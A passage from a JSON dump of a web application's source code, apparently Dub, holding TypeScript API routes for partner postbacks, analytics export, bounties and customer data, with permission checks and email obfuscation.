    "content": "import { createToken } from \"@/lib/api/oauth/utils\";\nimport { getPostbackOrThrow } from \"@/lib/api/postbacks/get-postback-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  POSTBACK_SECRET_LENGTH,\n  POSTBACK_SECRET_PREFIX,\n} from \"@/lib/postback/constants\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/partner-profile/postbacks/[postbackId]/rotate-secret\nexport const POST = withPartnerProfile(\n  async ({ partner, params }) => {\n    const { postbackId } = params;\n\n    await getPostbackOrThrow({\n      postbackId,\n      partnerId: partner.id,\n    });\n\n    const secret = createToken({\n      prefix: POSTBACK_SECRET_PREFIX,\n      length: POSTBACK_SECRET_LENGTH,\n    });\n\n    await prisma.postback.update({\n      where: {\n        id: postbackId,\n      },\n      data: {\n        secret,\n      },\n    });\n\n    return NextResponse.json({ secret });\n  },\n  {\n    requiredPermission: \"postbacks.write\",\n    featureFlag: \"postbacks\",\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/postbacks/[postbackId]/route.ts",
    "content": "import { getPostbackOrThrow } from \"@/lib/api/postbacks/get-postback-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  postbackSchema,\n  updatePostbackInputSchema,\n} from \"@/lib/postback/schemas\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/postbacks/[postbackId]\nexport const GET = withPartnerProfile(\n  async ({ partner, params }) => {\n    const { postbackId } = params;\n\n    const postback = await getPostbackOrThrow({\n      postbackId,\n      partnerId: partner.id,\n    });\n\n    return NextResponse.json(postbackSchema.parse(postback));\n  },\n  {\n    requiredPermission: \"postbacks.read\",\n    featureFlag: \"postbacks\",\n  },\n);\n\n// PATCH /api/partner-profile/postbacks/[postbackId]\nexport const PATCH = withPartnerProfile(\n  async ({ partner, params, req }) => {\n    const { postbackId } = params;\n\n    let postback = await getPostbackOrThrow({\n      postbackId,\n      partnerId: partner.id,\n    });\n\n    const { name, url, triggers, disabled } = updatePostbackInputSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    postback = await prisma.postback.update({\n      where: {\n        id: postbackId,\n      },\n      data: {\n        ...(name !== undefined && { name }),\n        ...(url !== undefined && { url }),\n        ...(triggers !== undefined && { triggers }),\n        ...(disabled !== undefined && {\n          disabledAt: disabled ? new Date() : null,\n        }),\n      },\n    });\n\n    return NextResponse.json(postbackSchema.parse(postback));\n  },\n  {\n    requiredPermission: \"postbacks.write\",\n    featureFlag: \"postbacks\",\n  },\n);\n\n// DELETE /api/partner-profile/postbacks/[postbackId]\nexport const DELETE = withPartnerProfile(\n  async ({ partner, params }) => {\n    const { postbackId } = params;\n\n    await getPostbackOrThrow({\n      postbackId,\n      partnerId: partner.id,\n    });\n\n    await prisma.postback.delete({\n      where: {\n        id: postbackId,\n      },\n    });\n\n    return NextResponse.json({ id: postbackId });\n  },\n  {\n    requiredPermission: \"postbacks.write\",\n    featureFlag: \"postbacks\",\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/postbacks/[postbackId]/send-test/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getPostbackOrThrow } from \"@/lib/api/postbacks/get-postback-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { sendPartnerPostback } from \"@/lib/postback/api/send-partner-postback\";\nimport commissionCreated from \"@/lib/postback/sample-events/commission-created.json\";\nimport leadCreated from \"@/lib/postback/sample-events/lead-created.json\";\nimport saleCreated from \"@/lib/postback/sample-events/sale-created.json\";\nimport { sendTestPostbackInputSchema } from \"@/lib/postback/schemas\";\nimport { PostbackTrigger } from \"@/lib/types\";\nimport { NextResponse } from \"next/server\";\n\nconst samplePayloads: Record<PostbackTrigger, Record<string, unknown>> = {\n  \"lead.created\": leadCreated,\n  \"sale.created\": saleCreated,\n  \"commission.created\": commissionCreated,\n};\n\n// POST /api/partner-profile/postbacks/[postbackId]/send-test\nexport const POST = withPartnerProfile(\n  async ({ partner, params, req }) => {\n    const { postbackId } = params;\n\n    const { event } = sendTestPostbackInputSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const postback = await getPostbackOrThrow({\n      postbackId,\n      partnerId: partner.id,\n    });\n\n    const triggers = postback.triggers as string[];\n\n    if (!triggers.includes(event)) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"The selected event is not configured for this postback.\",\n      });\n    }\n\n    await sendPartnerPostback({\n      partnerId: partner.id,\n      event,\n      data: samplePayloads[event],\n      skipEnrichment: true,\n    });\n\n    return NextResponse.json({});\n  },\n  {\n    requiredPermission: \"postbacks.write\",\n    featureFlag: \"postbacks\",\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/postbacks/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { createToken } from \"@/lib/api/oauth/utils\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { identifyPostbackChannel } from \"@/lib/postback/api/utils\";\nimport {\n  MAX_POSTBACKS,\n  POSTBACK_SECRET_LENGTH,\n  POSTBACK_SECRET_PREFIX,\n} from \"@/lib/postback/constants\";\nimport {\n  createPostbackInputSchema,\n  createPostbackOutputSchema,\n  postbackSchema,\n} from \"@/lib/postback/schemas\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/postbacks\nexport const GET = withPartnerProfile(\n  async ({ partner }) => {\n    const postbacks = await prisma.postback.findMany({\n      where: {\n        partnerId: partner.id,\n      },\n      orderBy: {\n        createdAt: \"desc\",\n      },\n    });\n\n    return NextResponse.json(z.array(postbackSchema).parse(postbacks));\n  },\n  {\n    requiredPermission: \"postbacks.read\",\n    featureFlag: \"postbacks\",\n  },\n);\n\n// POST /api/partner-profile/postbacks\nexport const POST = withPartnerProfile(\n  async ({ partner, req }) => {\n    const { name, url, triggers } = createPostbackInputSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const postbackCount = await prisma.postback.count({\n      where: {\n        partnerId: partner.id,\n      },\n    });\n\n    if (postbackCount >= MAX_POSTBACKS) {\n      throw new DubApiError({\n        code: \"exceeded_limit\",\n        message: `Maximum number of postbacks (${MAX_POSTBACKS}) reached.`,\n      });\n    }\n\n    const secret = createToken({\n      prefix: POSTBACK_SECRET_PREFIX,\n      length: POSTBACK_SECRET_LENGTH,\n    });\n\n    const postback = await prisma.postback.create({\n      data: {\n        id: createId({ prefix: \"pb_\" }),\n        partnerId: partner.id,\n        name,\n        url,\n        secret,\n        triggers,\n        receiver: identifyPostbackChannel(url),\n      },\n    });\n\n    return NextResponse.json(createPostbackOutputSchema.parse(postback), {\n      status: 201,\n    });\n  },\n  {\n    requiredPermission: \"postbacks.write\",\n    featureFlag: \"postbacks\",\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/activity-logs/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  activityLogSchema,\n  getActivityLogsQuerySchema,\n} from \"@/lib/zod/schemas/activity-log\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { resourceType, resourceId, action } =\n      getActivityLogsQuerySchema.parse(searchParams);\n\n    // Limit to referral for now\n    if (resourceType !== \"referral\") {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Resource type must be referral.\",\n      });\n    }\n\n    const programEnrollment = await getProgramEnrollmentOrThrow({\n      partnerId: partner.id,\n      programId: params.programId,\n      include: {},\n    });\n\n    // Check if the resource is a referral and belongs to the program and partner\n    if (resourceType === \"referral\") {\n      const referral = await prisma.partnerReferral.findUnique({\n        where: {\n          id: resourceId,\n          programId: programEnrollment.programId,\n          partnerId: partner.id,\n        },\n        select: {\n          id: true,\n        },\n      });\n\n      if (!referral) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"Referral not found.\",\n        });\n      }\n    }\n\n    const activityLogs = await prisma.activityLog.findMany({\n      where: {\n        programId: programEnrollment.programId,\n        resourceType,\n        resourceId,\n        action,\n      },\n      orderBy: {\n        createdAt: \"desc\",\n      },\n      take: 100,\n    });\n\n    return NextResponse.json(z.array(activityLogSchema).parse(activityLogs));\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/analytics/export/route.ts",
    "content": "import { VALID_ANALYTICS_ENDPOINTS } from \"@/lib/analytics/constants\";\nimport { getFirstFilterValue } from \"@/lib/analytics/filter-helpers\";\nimport { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { convertToCSV } from \"@/lib/analytics/utils\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  LARGE_PROGRAM_IDS,\n  LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS,\n  MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING,\n} from \"@/lib/constants/partner-profile\";\nimport { partnerProfileAnalyticsQuerySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { parseFilterValue, toCentsNumber } from \"@dub/utils\";\nimport JSZip from \"jszip\";\n\n// GET /api/partner-profile/programs/[programId]/analytics/export – get export data for partner profile analytics\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { program, links, totalCommissions } =\n      await getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId: params.programId,\n        include: {\n          program: true,\n          links: true,\n        },\n      });\n\n    if (\n      LARGE_PROGRAM_IDS.includes(program.id) &&\n      toCentsNumber(totalCommissions) <\n        LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS\n    ) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"This feature is not available for your program.\",\n      });\n    }\n\n    // Early return if partner has no links\n    if (links.length === 0) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"No links found\",\n      });\n    }\n\n    const parsedParams = partnerProfileAnalyticsQuerySchema.parse(searchParams);\n\n    const { linkId, domain, key } = parsedParams;\n\n    if (linkId) {\n      // check to make sure all of the linkId.values are in the links\n      if (\n        !linkId.values.every((value) => links.some((link) => link.id === value))\n      ) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"One or more links are not found\",\n        });\n      }\n\n      if (linkId.sqlOperator === \"NOT IN\") {\n        // if using NOT IN operator, we need to include all links except the ones in the linkId.values\n        const finalIncludedLinkIds = links\n          .filter((link) => !linkId.values.includes(link.id))\n          .map((link) => link.id);\n\n        // early return if no links are left\n        if (finalIncludedLinkIds.length === 0) {\n          throw new DubApiError({\n            code: \"not_found\",\n            message: \"No links found\",\n          });\n        }\n\n        parsedParams.linkId = {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: finalIncludedLinkIds,\n        };\n      }\n    } else if (domain && key) {\n      const link = links.find(\n        (link) =>\n          link.domain === getFirstFilterValue(domain) && link.key === key,\n      );\n      if (!link) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"Link not found\",\n        });\n      }\n\n      parsedParams.linkId = {\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [link.id],\n      };\n    }\n\n    const zip = new JSZip();\n\n    await Promise.all(\n      VALID_ANALYTICS_ENDPOINTS.map(async (endpoint) => {\n        // no need to fetch top links data if there's a link specified\n        // since this is just a single link\n        if (endpoint === \"top_links\" && linkId) return;\n        // skip clicks count\n        if (endpoint === \"count\") return;\n\n        const response = await getAnalytics({\n          ...parsedParams,\n          workspaceId: program.workspaceId,\n          ...(parsedParams.linkId\n            ? { linkId: parsedParams.linkId }\n            : links.length > MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING\n              ? { partnerId: partner.id }\n              : { linkId: parseFilterValue(links.map((link) => link.id)) }),\n          dataAvailableFrom: program.startedAt ?? program.createdAt,\n          groupBy: endpoint,\n        });\n\n        if (!response || response.length === 0) return;\n\n        const csvData = convertToCSV(response);\n        zip.file(`${endpoint}.csv`, csvData);\n      }),\n    );\n\n    const zipData = await zip.generateAsync({ type: \"nodebuffer\" });\n\n    return new Response(zipData as unknown as BodyInit, {\n      headers: {\n        \"Content-Type\": \"application/zip\",\n        \"Content-Disposition\": \"attachment; filename=analytics_export.zip\",\n      },\n    });\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/analytics/route.ts",
    "content": "import { getFirstFilterValue } from \"@/lib/analytics/filter-helpers\";\nimport { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  LARGE_PROGRAM_IDS,\n  LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS,\n  MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING,\n} from \"@/lib/constants/partner-profile\";\nimport { partnerProfileAnalyticsQuerySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { parseFilterValue, toCentsNumber } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/programs/[programId]/analytics – get analytics for a program enrollment link\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { program, links, totalCommissions } =\n      await getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId: params.programId,\n        include: {\n          program: true,\n          links: true,\n        },\n      });\n\n    // early return if partner has no links\n    if (links.length === 0) {\n      return NextResponse.json([], { status: 200 });\n    }\n\n    const parsedParams = partnerProfileAnalyticsQuerySchema.parse(searchParams);\n\n    const { linkId, domain, key } = parsedParams;\n\n    if (linkId) {\n      // check to make sure all of the linkId.values are in the links\n      if (\n        !linkId.values.every((value) => links.some((link) => link.id === value))\n      ) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"One or more links are not found\",\n        });\n      }\n\n      if (linkId.sqlOperator === \"NOT IN\") {\n        // if using NOT IN operator, we need to include all links except the ones in the linkId.values\n        const finalIncludedLinkIds = links\n          .filter((link) => !linkId.values.includes(link.id))\n          .map((link) => link.id);\n\n        // early return if no links are left\n        if (finalIncludedLinkIds.length === 0) {\n          return NextResponse.json([], { status: 200 });\n        }\n\n        parsedParams.linkId = {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: finalIncludedLinkIds,\n        };\n      }\n    } else if (domain && key) {\n      const link = links.find(\n        (link) =>\n          link.domain === getFirstFilterValue(domain) && link.key === key,\n      );\n      if (!link) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"Link not found\",\n        });\n      }\n\n      parsedParams.linkId = {\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [link.id],\n      };\n    }\n\n    const response = await getAnalytics({\n      ...(LARGE_PROGRAM_IDS.includes(program.id) &&\n      toCentsNumber(totalCommissions) <\n        LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS\n        ? { event: parsedParams.event, groupBy: \"count\", interval: \"all\" }\n        : parsedParams),\n      workspaceId: program.workspaceId,\n      ...(parsedParams.linkId\n        ? { linkId: parsedParams.linkId }\n        : links.length > MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING\n          ? { partnerId: partner.id }\n          : { linkId: parseFilterValue(links.map((link) => link.id)) }),\n      dataAvailableFrom: program.startedAt ?? program.createdAt,\n    });\n\n    return NextResponse.json(response);\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/bounties/[bountyId]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { aggregatePartnerLinksStats } from \"@/lib/partners/aggregate-partner-links-stats\";\nimport { PartnerBountySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/programs/[programId]/bounties/[bountyId] – get a single bounty for an enrolled program\nexport const GET = withPartnerProfile(async ({ partner, params }) => {\n  const { programId, bountyId } = params;\n\n  const { program, links, ...programEnrollment } =\n    await getProgramEnrollmentOrThrow({\n      partnerId: partner.id,\n      programId,\n      include: {\n        program: true,\n        links: true,\n      },\n    });\n\n  const bounty = await prisma.bounty.findUnique({\n    where: {\n      id: bountyId,\n      programId: program.id,\n    },\n    include: {\n      workflow: {\n        select: {\n          triggerConditions: true,\n        },\n      },\n      groups: true,\n      submissions: {\n        where: {\n          partnerId: partner.id,\n        },\n        include: {\n          commission: {\n            select: {\n              id: true,\n              earnings: true,\n              status: true,\n              createdAt: true,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  if (!bounty) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Bounty not found.\",\n    });\n  }\n\n  if (bounty.startsAt > new Date()) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Bounty not found.\",\n    });\n  }\n\n  const partnerGroupId = programEnrollment.groupId || program.defaultGroupId;\n  const bountyGroupIds = bounty.groups.map((g) => g.groupId);\n  const partnerCanSeeBounty =\n    bountyGroupIds.length === 0 ||\n    (partnerGroupId && bountyGroupIds.includes(partnerGroupId));\n\n  if (!partnerCanSeeBounty) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Bounty not found.\",\n    });\n  }\n\n  const { groups, ...bountyWithoutGroups } = bounty;\n\n  return NextResponse.json(\n    PartnerBountySchema.parse({\n      ...bountyWithoutGroups,\n      performanceCondition: bounty.workflow?.triggerConditions?.[0] || null,\n      partner: {\n        ...aggregatePartnerLinksStats(links),\n        totalCommissions: programEnrollment.totalCommissions,\n      },\n    }),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/bounties/[bountyId]/social-content-stats/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { getSocialContent } from \"@/lib/api/scrape-creators/get-social-content\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { getBountyOrThrow } from \"@/lib/bounty/api/get-bounty-or-throw\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst searchParamsSchema = z.object({\n  url: z.url(\"Social media URL is required.\"),\n});\n\n// GET /api/partner-profile/programs/[programId]/bounties/[bountyId]/social-content-stats\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { programId, bountyId } = params;\n\n    const { url } = searchParamsSchema.parse(searchParams);\n\n    const { success } = await ratelimit(10, \"1 h\").limit(\n      `partner-profile:social-content-stats:${partner.id}`,\n    );\n\n    if (!success) {\n      throw new DubApiError({\n        code: \"rate_limit_exceeded\",\n        message: \"You've been rate limited. Please try again later.\",\n      });\n    }\n\n    const programEnrollment = await getProgramEnrollmentOrThrow({\n      partnerId: partner.id,\n      programId,\n      include: {},\n    });\n\n    const bounty = await getBountyOrThrow({\n      bountyId,\n      programId: programEnrollment.programId,\n    });\n\n    const bountyInfo = resolveBountyDetails(bounty);\n\n    if (!bountyInfo?.socialMetrics) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"This bounty does not have social content requirements.\",\n      });\n    }\n\n    const content = await getSocialContent({\n      platform: bountyInfo.socialMetrics.platform,\n      url,\n    });\n\n    return NextResponse.json(content);\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/bounties/route.ts",
    "content": "import { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { aggregatePartnerLinksStats } from \"@/lib/partners/aggregate-partner-links-stats\";\nimport { PartnerBountySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/programs/[programId]/bounties – get available bounties for an enrolled program\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { program, totalCommissions, groupId, links } =\n      await getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId: params.programId,\n        include: {\n          program: true,\n          links: true,\n        },\n      });\n\n    const now = new Date();\n    const partnerGroupId = groupId || program.defaultGroupId;\n\n    const bounties = await prisma.bounty.findMany({\n      where: {\n        programId: program.id,\n        startsAt: {\n          lte: now,\n        },\n        // If bounty has no groups, it's available to all partners\n        // If bounty has groups, only partners in those groups can see it\n        AND: [\n          {\n            OR: [\n              {\n                groups: {\n                  none: {},\n                },\n              },\n              {\n                groups: {\n                  some: {\n                    groupId: partnerGroupId,\n                  },\n                },\n              },\n            ],\n          },\n        ],\n      },\n      include: {\n        workflow: {\n          select: {\n            triggerConditions: true,\n          },\n        },\n        submissions: {\n          where: {\n            partnerId: partner.id,\n          },\n          include: {\n            commission: {\n              select: {\n                id: true,\n                earnings: true,\n                status: true,\n                createdAt: true,\n              },\n            },\n          },\n        },\n      },\n    });\n\n    return NextResponse.json(\n      z.array(PartnerBountySchema).parse(\n        bounties.map((bounty) => ({\n          ...bounty,\n          submission: bounty.submissions?.[0] || null,\n          performanceCondition: bounty.workflow?.triggerConditions?.[0] || null,\n          partner: {\n            ...aggregatePartnerLinksStats(links),\n            totalCommissions,\n          },\n        })),\n      ),\n    );\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/customers/[customerId]/route.ts",
    "content": "import { getCustomerEvents } from \"@/lib/analytics/get-customer-events\";\nimport { transformCustomer } from \"@/lib/api/customers/transform-customer\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { obfuscateCustomerEmail } from \"@/lib/api/partner-profile/obfuscate-customer-email\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  LARGE_PROGRAM_IDS,\n  LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS,\n} from \"@/lib/constants/partner-profile\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { PartnerProfileCustomerSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { CommissionType } from \"@dub/prisma/client\";\nimport { toCentsNumber } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/programs/:programId/customers/:customerId – Get a customer by ID\nexport const GET = withPartnerProfile(async ({ partner, params }) => {\n  const { customerId, programId } = params;\n\n  const { program, links, totalCommissions, customerDataSharingEnabledAt } =\n    await getProgramEnrollmentOrThrow({\n      partnerId: partner.id,\n      programId: programId,\n      include: {\n        program: true,\n        links: true,\n      },\n    });\n\n  if (\n    LARGE_PROGRAM_IDS.includes(program.id) &&\n    toCentsNumber(totalCommissions) < LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS\n  ) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: \"This feature is not available for your program.\",\n    });\n  }\n\n  const customer = await prisma.customer.findUnique({\n    where: {\n      id: customerId,\n    },\n    include: {\n      // find the first sale commission for this customer and partner\n      commissions: {\n        where: {\n          partnerId: partner.id,\n          type: CommissionType.sale,\n        },\n        take: 1,\n        orderBy: {\n          createdAt: \"asc\",\n        },\n      },\n    },\n  });\n\n  if (!customer || customer?.projectId !== program.workspaceId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Customer is not part of this program.\",\n    });\n  }\n\n  const events = await getCustomerEvents({\n    customerId: customer.id,\n    linkIds: links.map((link) => link.id),\n  });\n\n  if (events.length === 0) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Customer is not attributed to any links by this partner.\",\n    });\n  }\n\n  // get the first partner link that this customer interacted with\n  const firstLinkId = events[events.length - 1].link_id;\n  const link = links.find((link) => link.id === firstLinkId);\n  const firstSaleAt =\n    customer.commissions[0]?.createdAt ?? customer.firstSaleAt;\n\n  return NextResponse.json(\n    PartnerProfileCustomerSchema.extend({\n      ...(customerDataSharingEnabledAt && { name: z.string().nullish() }),\n    }).parse({\n      ...transformCustomer({\n        ...customer,\n        firstSaleAt,\n        email: customer.email\n          ? customerDataSharingEnabledAt\n            ? customer.email\n            : obfuscateCustomerEmail(customer.email)\n          : customer.name || generateRandomName(),\n      }),\n      activity: {\n        ...customer,\n        events,\n        link,\n      },\n    }),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/customers/count/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  LARGE_PROGRAM_IDS,\n  LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS,\n} from \"@/lib/constants/partner-profile\";\nimport { getPartnerCustomersCountQuerySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma, sanitizeFullTextSearch } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { toCentsNumber } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/programs/:programId/customers/count – Get customer counts grouped by a field\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { programId } = params;\n    const { search, country, linkId, groupBy } =\n      getPartnerCustomersCountQuerySchema.parse(searchParams);\n\n    const { program, totalCommissions, customerDataSharingEnabledAt } =\n      await getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId: programId,\n        include: {\n          program: true,\n        },\n      });\n\n    if (\n      LARGE_PROGRAM_IDS.includes(program.id) &&\n      toCentsNumber(totalCommissions) <\n        LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS\n    ) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"This feature is not available for your program.\",\n      });\n    }\n\n    const commonWhere: Prisma.CustomerWhereInput = {\n      partnerId: partner.id,\n      programId: program.id,\n      projectId: program.workspaceId,\n      // Only filter by country if not grouping by country\n      ...(country &&\n        groupBy !== \"country\" && {\n          country,\n        }),\n      // Only filter by linkId if not grouping by linkId\n      ...(linkId &&\n        groupBy !== \"linkId\" && {\n          linkId,\n        }),\n      // Only allow search if customer data sharing is enabled\n      ...(search && customerDataSharingEnabledAt\n        ? search.includes(\"@\")\n          ? { email: search }\n          : {\n              email: { search: sanitizeFullTextSearch(search) },\n              name: { search: sanitizeFullTextSearch(search) },\n            }\n        : {}),\n    };\n\n    // Get customer count by country\n    if (groupBy === \"country\") {\n      const data = await prisma.customer.groupBy({\n        by: [\"country\"],\n        where: { ...commonWhere, country: { not: null } },\n        _count: true,\n        orderBy: {\n          _count: {\n            country: \"desc\",\n          },\n        },\n      });\n\n      return NextResponse.json(data);\n    }\n\n    // Get customer count by linkId\n    if (groupBy === \"linkId\") {\n      const data = await prisma.customer.groupBy({\n        by: [\"linkId\"],\n        where: { ...commonWhere, linkId: { not: null } },\n        _count: true,\n        orderBy: {\n          _count: {\n            linkId: \"desc\",\n          },\n        },\n        take: 10000,\n      });\n\n      const links = await prisma.link.findMany({\n        where: {\n          id: { in: data.map(({ linkId }) => linkId!) },\n        },\n        select: {\n          id: true,\n          domain: true,\n          key: true,\n          shortLink: true,\n          url: true,\n        },\n      });\n\n      const enrichedData = data\n        .map((d) => {\n          const link = links.find(({ id }) => id === d.linkId);\n          if (!link) return null;\n          return {\n            ...d,\n            domain: link.domain,\n            key: link.key,\n            shortLink: link.shortLink,\n            url: link.url,\n          };\n        })\n        .filter(Boolean);\n\n      return NextResponse.json(enrichedData);\n    }\n\n    // If no groupBy, return total count\n    const count = await prisma.customer.count({\n      where: commonWhere,\n    });\n\n    return NextResponse.json(count);\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/customers/route.ts",
